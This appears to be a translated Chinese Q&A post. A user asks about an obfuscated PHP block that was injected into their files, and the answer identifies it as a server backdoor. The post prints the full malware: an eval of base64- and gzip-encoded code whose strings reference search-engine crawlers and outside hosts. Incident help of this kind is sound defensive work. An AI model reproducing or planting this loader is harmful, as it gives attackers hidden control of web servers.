一些代码添加到我的php文件中

时间:2015-12-16 08:31:51

标签: php

<?php /*versio:3.02*/ $GLOBALS["opwnro"]="RVaW5pX3NldAPdYWxsb3dfdXJsX2ZvcGVuZGlzcGxheV9lcnJvcnMPifaZmVkb3IvMDYwOGV4cGFuc2lvbgoNsMy4wMgjJWWdOZTRMSzhVOGUzc3R3NjAyFaHR0cDovLwifPSFRUUFMmQTb2ZmaHR0cHM6Ly8drBRSFRUUF9IT1NUxMQOEdW5pb24WsoniWpLc2VsZWN0UIPUkVRVUVTVF9VUkkofqU0NSSVBUX05BTUUxdjLUVVFUllfU1RSSU5HibPwjIUgXZGV0ZXJtaW5hdG9yVFYKLgcCjLLmxvZwHfCSFRUUF9ZX0FVVEgXYmFzZTY0X2RlY29kZQDjKdmVyc2lvLQkVLXBocAtzgISFRUUF9FWEVDUEhQvNgkb3V0xksdVb2sqhWyFSFRUUF9VU0VSX0FHRU5UKaRKLAZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAAYQKYmxhYnVlbC5uZXQZfvZmFzdGFkZHouY29tsjcL3czLnBocD91PQDsJms9vOJnQ9cGhwJnA9WJnY9eSFrBZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYzbHZvOGdTL3lvZFpJMndZREJnRzh6azhaUm8xck1UYVRhSlBNNUtxOWtJY1RTQm1NUG04QlhsdTcvcUE0TWRlOS8rWmR4VlhYZjlxam9Pa1hnVjRERE9jQ0FLQWE1d2tjYVpXK1dGME8rL29SaklZWjM1Vlp4bkR0N0daVldLUHJCV1ViUVFOVW1UTmJWUCtHN2lMSFpLWEhXSW1qU1VkYlV2STYxL2ZZNCtsalJMMWl4Z1VJSGhIVFZxa0xPdjRnS3Y5MUg1R2xWaUw4bzJidWJMNkZPdjJDYlJOa1EydW4vNjhhT1AzbEI3a3NaK2tWZHhpc1dxcURISUszQlZGeGtLY1I0MklrNjByUFB0cW5MenhIOWRlV0t2M0VXZUY4bW9sd1RWY3VXQlM3MG9jbDlXT3hBdStIV1JDTmVvRi9qeHJucUZFMDVUQkFmOHFvQkU0a1I5ZkFFZkJUZEo4bzBEbDV3d1grSk02Q01icEdnQ3Naa2JkaFBHQ1NiY2pwOW5GYzRncmtKVVZjc3ZnNEdBRk1UdElWL01JQVVKbnpaMitPSUwxQTJjbFBoY2JyaUpKQ1c5Ulpha2JnM1czdkJURWE3MlVqZE45L0dSRDVDWGZGbFJCN045WGZoSFJMekZQcEJ1K0VXUmk1WFIxNmZaajRmSHVRTS9Ndm9YdHZzMU1mMnluTy9UMjkrbU14bUZMdmoyajV5ejZmeHBkaitmM2Q3Ly9FWnU4SlJmdnZEMTRmNSsrblUrdi90ait2QTBsNUZCQXVFRzdtcTNZZUdoYmpmM2lDaVNjY2RQOGhKM1RrbkFjYnFzZGlLL0RHRnV4UWpDOVh1VFhYN2FaSXFVS3F0Qm9pNHNjMzlCNnFLdHVva0tsUmZpcU1neStQRGRZTzh0WlRUbU9wdjZKV0xpTWdxOFBWT0hqanNDekE2WE5TbUNwbVdFMzZkejlNYXo4QzRvSkEzbEFuMmZ6eDhIbXFMQ3dkL0YzeG44Zk0vTDZndUNqemR1MGpzbDBIclo3T09BVk5IajkwZm40YWNpREFTRmZQNDVuZjI4ZTdnL28vU3B4TVhuMnhlbzZTK2duTjJuOGhxWm13aHFYN3k2ME9mY3FUNzY5QW1KSjMyTlByZmsveUM5M3daRUlZR0ZkdW9Zb3VrVDJpczNJVS9rQVFaNjZ5Qnpvd1U0aGJmTEpBK3dLQnpza3h1UndGZG5CTEk0OXkvMXVjV1ZPRDF6ai9GUm5lOUhVSk90NHJnSVBEOU92WTNZUytPaWlBalVwRWxadlNUZ0JQYWpIQWwvT1lMQ2lZcndoWHhUT2svU01YaVZYbERnS0gzZEFWU0x2V0tmRjNIV2I4R2w1L3ljemlCRHZ6anBtZHp1QlZHMncxdjdBTUVqUTlJMFdhZmRrQ3lLVFp5MU5GMlZERU9tcE9WcjViMHVXdExZa29aaldSOFJHcXVXbG1hYTBrZ25RNEZWYmx6U0FEYldITmdtbGpRYXltYi91Wmt4Tng5NURJTllBRHpveWthdFhaSTJVdVVSQmJoVDVjUWZWWlUxamFlQU15aDJXUlZWRHBDTWkzT0t0REVNTXJpbTkwbUN3N3pBcmg5QjF6bWtlOXdTOFp6WS8yMFRSa3dHb2NzY3lvMGR5cTI0RVV3K0V3d242RUJrL09JQ25sdExoNnFrR2FvTVlXcWgvSkk4eTVRc1E1NzhremdZcFpNeGsvWU90b2xYbCtLdVdaWTBsclV4Q1R4Qmt3OE11anFTVk1wQWdmR2pBSWl4YVZBR2t1R0xDZFoxblk1MzQ2SW1pSkptREprcXBaTmd6WnhJRTZqS1BzeVBzd1pZa3FWVHdkZW5YWWFMSU5tdUFWN3JVaVQxc1FzQk9RSTdpSXZNQlFSeG5HOTNQNmFPMDFkK3U1dkJPSGlZL1FYaUgyOW50L0JKV3FBTXFqVkI2TnVpY0hjaUVnWUJYZy9LS0lYZUZnWlZ1aHdvSWN6cXozVVdiOXVqdTYvVDVxUTFWNWovOFNnOEg1OU1EMGZUK3orN0hNMWZzT3JvaEYrZ2VvajB3M3BSQS9hNGdRUEhEdmdtd0FiRlhWVUV4bnI0dTFsKzV1dkZnRjBxTDFCOUtIa010S01HNEFFaExiRGRlMTVlOE1xLzRrT1FINUpRczAvRlBodFp0aHlWenFhSUs5Y0Q2Ty9lWk1hUWxZTWRYaU1QOUM4YUVHMEdLbU83cHZWTmV5VnA1eWVaQlFBNWI0anRzZTJPcVVvNlFBalVTck5qTnIzV1d4WnA2a1oyZ3hEbkNtMWlTcHJKZW9Wc21qaE5hOSsrU1lOeG8xYmhFNUZqcDhLQmtrSm1qTUZ1KzZRa2xWYTREaTFya0NwWHVPVHJEOFpybHFTUFRHWTlGMGhGci9MU295c2FPK3NJSFZxU05oNVMwTDZBcWJvMWxsajMyalpYVEp6YkI3dVZWOXVkM1Iwa1dSTlpJd09VRFNjK2c0NUhXVWUxTk5USEFGSnlNMGxhc3d4VDBrMkx1c29Ha05KQmlZbWs2VHBZM0d3NmNWa25NZVNGV1hRV3JVM0FUa3ZsMEFJdkQ3eDJrK2JpdnpSWFZ5SDg1aGpHaU55WkxDWWNhaU41MkdlbHNvMHJrVlZOTDlxczZ0cURtSDhqdXlra0lkeTl4bGxDSVBML2pCWkxrM1RWSU8rZ285blNyQjJkQUFJamVLVjNMUnFPVkdreWxNY3c3V2dUN3ZZdlM2ODZHVC9NRlBsQXZiSnRhaVhKNjdwZXBFdE1kMDYyYjU2V3pIQXM2V05UTm82MG1vQ3dKRitrMnFKOXZ0bVNSZW1tSmgzbkU2UFArRGtpbGNjSEM5a0lTYWREbXpQOXNLQ1RCYTRQaTB3Rld3MnprLzloOHVFUFhRd1BteHE3U0EyZ29iZm5zUDBkSVVPREtlUVoxZmhGeTZIS2F6OFMyNFlCMlBTVE9zQk9udm00Yzk0Qmd5YTk4RWdqZWtqa1BEK3BGcHZETEdnZFZYVUppaGtjN1ZhT0JVQ2owbW5YdE42eEZVUWlSNXhPSFBrUjNiN29obzY2ZXc1TWFwMU0wQkgwRFdQc2RQcDRKQTBuWkExcTRLT2xqUXhMTWpXeXpaenB0NkVwRFRXRDNtTnRDcm9YL3RwUHlJdmk1RVhNUWdCYmIvc292djRZWG9iUy9KRnpDbUdrdjRjVEJtRjhLZnNmVkRRd3N3PT0iKSkpOw";
    if (!function_exists('cnedthhk')){function cnedthhk($a, $b){$c=$GLOBALS['opwnro'];$d=pack('H*','6261736536345f646'.'5636f6465'); return $d(substr($c, $a, $b));};eval(cnedthhk(562,3294));};?>

这是在我的一些PHP文件之上添加的。我已经尝试用谷歌搜索它可能是什么,但我找不到任何东西。

1 个答案:

答案 0 :(得分:1)

使用UnPHP解码该代码块(结果为here),似乎有人在您的代码中设置了后门访问您的服务器。

有关混淆代码的几乎逐行说明,请参阅此详细StackOverflow answer

请注意,.php文件中后门访问的所有方法都是模糊处理的。如果你逐行比较上面答案中公布的代码,你会发现两者非常非常相似(如果不相同)。